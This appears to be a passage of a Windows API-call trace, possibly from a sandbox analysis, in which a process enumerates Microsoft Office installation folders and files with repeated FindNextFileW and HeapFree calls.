	[0142.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.044] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0142.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.049] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0142.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.053] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0142.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.061] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0142.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.064] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0142.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.117] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0142.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.124] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0142.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.127] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0142.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.132] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0142.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.137] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0142.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.140] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0142.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.146] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0142.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.535] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0142.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.540] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0142.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.543] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0142.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.547] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0142.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.550] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0142.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.553] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0142.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.556] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0142.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0142.559] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0142.559] FindClose (in: hFindFile=0x5dd880 | out: hFindFile=0x5dd880) returned 1
	[0142.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0142.559] FindNextFileW (in: hFindFile=0x5dd9c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0142.559] FindClose (in: hFindFile=0x5dd9c0 | out: hFindFile=0x5dd9c0) returned 1
	[0142.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0142.560] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0142.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0142.565] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0142.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0142.572] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0142.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0142.576] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0143.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.677] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0143.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.681] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0143.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.684] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0143.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.687] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0143.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.691] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0143.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.695] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0143.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.707] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0143.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.711] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0143.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.880] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0143.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.883] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0143.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.885] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0143.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.887] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0143.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0143.953] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0143.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
